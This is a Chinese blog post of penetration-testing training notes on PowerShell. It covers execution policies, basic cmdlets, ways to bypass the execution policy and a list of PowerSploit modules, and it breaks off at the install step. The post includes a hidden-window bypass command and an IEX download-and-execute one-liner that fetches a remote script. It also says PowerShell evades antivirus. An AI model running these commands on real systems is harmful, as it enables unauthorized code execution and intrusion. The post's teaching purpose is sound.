实训周笔记

本文详细介绍了PowerShell在渗透测试中的用途,包括PowerShell的基本概念、执行策略、命令行操作以及如何绕过执行策略。此外,还探讨了PowerSploit和Nishang这两个基于PowerShell的渗透测试框架,演示了它们的部分攻击脚本和实战应用,如键盘记录、端口扫描、信息收集和权限提升等。最后,提到了nmap和sqlmap在信息收集和SQL注入检测中的使用。
摘要由CSDN通过智能技术生成

PowerShell简介

常用的PowerShell攻击工具: PowerSploit  Nishang  PowerCat

PowerShell是一种基于任务的命令行解释器和脚本环境,可以说是一种强大的shell,如同linux的bash,专为系统管理员而设计,以.NET框架为平台,Windows PowerShell帮助IT专业人员和超级用户控制和自动化管理Windows操作系统和运行在操作系统上的应用。现被更广泛用于渗透测试等方面,在不需要写入磁盘的情况下执行命令,也可以逃避Anti-Virus检测。另外,可以把PowerShell看作命令行提示符cmd.exe的扩充。

基于.NET框架

操作系统信任

提供win系列操作系统的几乎一切访问权限

win7之后默认安装

脚本可以运行在内存中,不需要写入磁盘

cmd.exe通常会被安全软件阻止,一般PowerShell不会

第一种

win+r启动运行下输入powershell进入

 

第二种

cmd下输入powershell进入

 

 可以输入Get-Host或者$PSVersionTable.PSVERSION命令查看当前系统的PowerShell版本。

PowerShell基本概念

PS1文件:

一个PowerShell脚本其实就是一个简单的 文本文件,这个文件包含了一系列的 PowerShell命令,每个命令显示为独立的一行,PowerShell文件的后缀为 .PS1。

执行策略:

为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设置为受限。

我们可以使用: Get-ExecutionPolicy  命令查看PowerShell当前的执行策略。它有4个策略。

Restricted:脚本不能运行(默认设置)

RemoteSigned:本地创建的脚本可以运行,但是从网上下载的脚本不能运行(拥有数字证书签名的除外)

AllSigned:仅当脚本由受信任的发布者签名时才能运行;

Unrestricted:允许所有的脚本执行

另外修改PowerShell执行策略:Set-ExecutionPolicy 策略名 #该命令需要管理员权限运行

执行策略:

为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设置为受限。

我们可以使用: Get-ExecutionPolicy  命令查看PowerShell当前的执行策略。它有4个策略。

Restricted:脚本不能运行(默认设置)

RemoteSigned:本地创建的脚本可以运行,但是从网上下载的脚本不能运行(拥有数字证书签名的除外)

AllSigned:仅当脚本由受信任的发布者签名时才能运行;

Unrestricted:允许所有的脚本执行

另外修改PowerShell执行策略:Set-ExecutionPolicy 策略名 #该命令需要管理员权限运行

运行脚本:

运行一个脚本,必须键入完整的路径和文件名,例如,你要运行一个名为a.ps1的脚本,可以键入c:\script\a.ps1

但如果PowerShell脚本文件在你的系统目录中,那么在命令提示符后直接键入脚本文件名即可运行,如.\a.ps1的前面就加上“.\”,这和在Linux下执行Shell脚本的方法一样

管道:

管道的作用就是将一个命令的输出作为另一个命令的输入,两个命令之间用管道符号(|)连接

例如:

假设停止所有目前运行中的,以“note"字符开头命名的程序

Get-Process note*|stop-process

PowerShell常用命令

基本知识:

在PowerShell下,类似“cmd命令”叫做“cmdlet” ,其命令的命名规范很一致,都采用了 动词-名词的形式,如Net-Item,动词一般为Add、New、Get、Remove、Set等。PowerShell还兼容cmd和Linux命令,如查看目录可以使用 dir 或者 ls ,并且PowerShell命令不区分大小写。

后面会以文件操作为例讲解PowerShell命令的基本用法

文件操作类的PowerShell命令:

新建目录test:New-Item test -ItemType directory

删除目录test:Remove-Item test

新建文件test.txt:New-Item test1.txt -ItemType file

新建文件test.txt,内容为 hello:New-Item test.txt -ItemType file -value "hello"

查看文件test.txt内容:Get-Content  test.txt

设置文件test.txt内容t:Set-Content  test.txt  -Value "haha"

给文件test.txt追加内容:Add-Content test.txt  -Value ",word!"

清除文件test.txt内容:Clear-Content test.txt

删除文件test.txt:Remove-Item test.txt

绕过执行策略执行PowerShell脚本

如果运行PowerShell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted

在渗透测试时,就需要采用一些方法绕过策略来执行PowerShell脚本,列举如下三种方式

1.绕过本地权限执行

2.本地隐藏绕过权限执行脚本

3.用IEX下载远程PS1脚本绕过权限执行

绕过本地权限执行

上传test.ps1到目标主机,在cmd环境下,在目标主机本地当前目录执行该脚本

powershell -exec bypass  .\test.ps1

本地隐藏绕过权限执行脚本

powershell.exe -exec bypass -W hidden -nop  test.ps1

输入命令执行后会退出命令提示符

用IEX下载远程PS1脚本绕过权限执行

powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')

PowerShell命令参数说明

对上述命令参数进行说明

ExecvtionPolicy Bypass(-exec bypass):绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PoweShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则;

WindowStyle Hidden(-w hidden):隐藏窗口,也就是执行完命令后,窗口隐藏;

-command(-c):执行powershell脚本;

NoProfile(-nop):PowerShell控制台不加载当前用户的配置文件;

NoLogo:启动不显示版权标志的PowerShell;

Nonlnteractive(-noni):非交互模式;

Noexit:执行后不退出shell,这在使用键盘记录等脚本时非常重要;

-enc  base64: 把ps脚本编码成base64来执行,实战用的最多;

PowerSploit

PowerSploit是一款基于PowerShell的后渗透框架软件,包含了很多PowerShell的攻击脚本,它们主要用于渗透中的信息侦测,权限提升、权限维持等。PowerSploit项目地址:https://github.com/PowerShellMafia/PowerSploit

  • ActivirusBypass:绕过杀毒软件查杀
  • CodeExecution:在目标主机上执行代码
  • Exfiltration:目标主机上的信息搜集工具
  • Mayhem:蓝屏等破坏性的脚本
  • Persistence:权限维持
  • Privsec:提权等脚本
  • Recon:以目标主机为跳板进行内网信息侦查
  • ScriptModification:在目标主机上创建或修改脚本

PowerSploit安装

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值